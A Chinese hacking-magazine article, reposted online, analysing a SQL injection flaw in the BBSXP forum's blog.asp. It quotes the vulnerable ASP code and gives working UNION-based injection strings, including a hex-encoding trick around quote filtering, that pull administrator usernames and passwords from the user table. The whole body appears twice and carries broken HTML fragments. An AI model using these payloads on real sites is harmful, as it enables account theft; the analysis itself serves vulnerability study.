BBSXP漏洞再探究
更新時間:2007年01月16日 00:00:00 作者:
注:本文已發(fā)表在《黑客X檔案》2005年6期,版權(quán)歸其所有,轉(zhuǎn)載請保持文章完整性并注明版權(quán)
最近BBSXP論壇可以說是一點都不平靜。漏洞一個接一個暴出來。上次對showforum.asp這個文件的漏洞分析過后,沒多久,又暴出blog.asp存在漏洞。于是俺這個菜鳥的心再不能平靜了,不要每次都等著人家給我們找漏洞,咱自己也來分析一把看看。
首先,我們回顧一下showforum.asp中的漏洞,還記得order變量,是經(jīng)過了HTMLncode過濾了以后才放到SQL語句中去執(zhí)行的。再來看看blog.asp中出漏洞的地方:
id=HTMLEncode(Request("id"))
if id<>"" then
sql="select * from [calendar] where id="&id&" order by id Desc"
id變量同樣是經(jīng)過了HTMLEncode過濾了以后,就放到了SQL語句中去了。利用的方法是構(gòu)造一個特殊的id變量,使用UNION查詢將密碼暴出來。
小知識:UNION查詢的基本介紹
使用UNION可以將多個查詢結(jié)果合并起來時,系統(tǒng)會自動去掉重復(fù)的記錄。參加UNION操作的各結(jié)果表的列數(shù)必須相同;對應(yīng)項的數(shù)據(jù)類型也必須相同;
select top 1 username,userpass from [user] union select test,12345 from [clubconfig]
——這里加上了單引號是表示里面的數(shù)據(jù)為字符型,為了和前面的username和userpass的類型對(在ACCESS中則沒有這么嚴格的要求,數(shù)據(jù)類型不一致的話,不會導(dǎo)致SQL語句出錯)上。在海洋2006的數(shù)據(jù)庫操作里執(zhí)行的結(jié)果如下(圖1):
screen.width-461) window.open(/Article/UploadFiles/200507/20050722220746428.jpg);" src="/college/UploadPic/2006/8/27/2006827232628179.jpg" width=564 onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>
原理學習與分析
了解了union查詢,我們就可以構(gòu)造這個id了。如:id=-1 union select 1,2,3,4,5,6,7 from [user] where membercode=5
還原完整的SQL語句是這樣的:
select * from [calendar] where id=-1 union select 1,2,3,4,5,6,7 from [user] where membercode=5 order by id Desc
此SQL前半部分會因為id=-1而什么也查不出來,然后,1~7這7個數(shù)字是因為calendar這個表中有7個字段。那么大家可以看到如圖的結(jié)果。(圖2)
screen.width-461) window.open(/Article/UploadFiles/200507/20050722220807132.jpg);" src="/college/UploadPic/2006/8/27/2006827232628948.jpg" width=564 onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>
其中能顯示出來的數(shù)字(比如3和4),可以改為字段名username和userpass。因為有membercode=5做條件,所以可以將級別為社區(qū)區(qū)長的用戶名和密碼查出來。(圖3)當然,如果想查特定用戶的密碼也是很容易的,把username作為限制條件就可以了。不過要注意的是,HTMLEncode函數(shù)過濾了單引號,所以要用十六進制轉(zhuǎn)換一下。把語句改為:
id=-1 union select 1,2,userpass,4,5,6,7 from [user] where username=0xD3C3BBA7
其中0xD3C3BBA7是“用戶”的十六進制寫法。如果是數(shù)字和英文的話,記得每一個字符需要用四個字節(jié)來表示,比如“1”要寫成0x3100。這和上次的一樣。有一個不一樣的地方是,上次我們用了DECLARE @cmd sysname,并且將空格轉(zhuǎn)換為了“+”號,后來實踐后發(fā)現(xiàn)是沒有必要的。所以特別提出一下。
最近BBSXP論壇可以說是一點都不平靜。漏洞一個接一個暴出來。上次對showforum.asp這個文件的漏洞分析過后,沒多久,又暴出blog.asp存在漏洞。于是俺這個菜鳥的心再不能平靜了,不要每次都等著人家給我們找漏洞,咱自己也來分析一把看看。
首先,我們回顧一下showforum.asp中的漏洞,還記得order變量,是經(jīng)過了HTMLncode過濾了以后才放到SQL語句中去執(zhí)行的。再來看看blog.asp中出漏洞的地方:
id=HTMLEncode(Request("id"))
if id<>"" then
sql="select * from [calendar] where id="&id&" order by id Desc"
id變量同樣是經(jīng)過了HTMLEncode過濾了以后,就放到了SQL語句中去了。利用的方法是構(gòu)造一個特殊的id變量,使用UNION查詢將密碼暴出來。
小知識:UNION查詢的基本介紹
使用UNION可以將多個查詢結(jié)果合并起來時,系統(tǒng)會自動去掉重復(fù)的記錄。參加UNION操作的各結(jié)果表的列數(shù)必須相同;對應(yīng)項的數(shù)據(jù)類型也必須相同;
select top 1 username,userpass from [user] union select test,12345 from [clubconfig]
——這里加上了單引號是表示里面的數(shù)據(jù)為字符型,為了和前面的username和userpass的類型對(在ACCESS中則沒有這么嚴格的要求,數(shù)據(jù)類型不一致的話,不會導(dǎo)致SQL語句出錯)上。在海洋2006的數(shù)據(jù)庫操作里執(zhí)行的結(jié)果如下(圖1):
screen.width-461) window.open(/Article/UploadFiles/200507/20050722220746428.jpg);" src="/college/UploadPic/2006/8/27/2006827232628179.jpg" width=564 onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>
原理學習與分析
了解了union查詢,我們就可以構(gòu)造這個id了。如:id=-1 union select 1,2,3,4,5,6,7 from [user] where membercode=5
還原完整的SQL語句是這樣的:
select * from [calendar] where id=-1 union select 1,2,3,4,5,6,7 from [user] where membercode=5 order by id Desc
此SQL前半部分會因為id=-1而什么也查不出來,然后,1~7這7個數(shù)字是因為calendar這個表中有7個字段。那么大家可以看到如圖的結(jié)果。(圖2)
screen.width-461) window.open(/Article/UploadFiles/200507/20050722220807132.jpg);" src="/college/UploadPic/2006/8/27/2006827232628948.jpg" width=564 onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>
其中能顯示出來的數(shù)字(比如3和4),可以改為字段名username和userpass。因為有membercode=5做條件,所以可以將級別為社區(qū)區(qū)長的用戶名和密碼查出來。(圖3)當然,如果想查特定用戶的密碼也是很容易的,把username作為限制條件就可以了。不過要注意的是,HTMLEncode函數(shù)過濾了單引號,所以要用十六進制轉(zhuǎn)換一下。把語句改為:
id=-1 union select 1,2,userpass,4,5,6,7 from [user] where username=0xD3C3BBA7
其中0xD3C3BBA7是“用戶”的十六進制寫法。如果是數(shù)字和英文的話,記得每一個字符需要用四個字節(jié)來表示,比如“1”要寫成0x3100。這和上次的一樣。有一個不一樣的地方是,上次我們用了DECLARE @cmd sysname,并且將空格轉(zhuǎn)換為了“+”號,后來實踐后發(fā)現(xiàn)是沒有必要的。所以特別提出一下。
相關(guān)文章
利用IE Object Data漏洞制做全新網(wǎng)頁木馬(圖)
利用IE Object Data漏洞制做全新網(wǎng)頁木馬(圖)...2007-01-01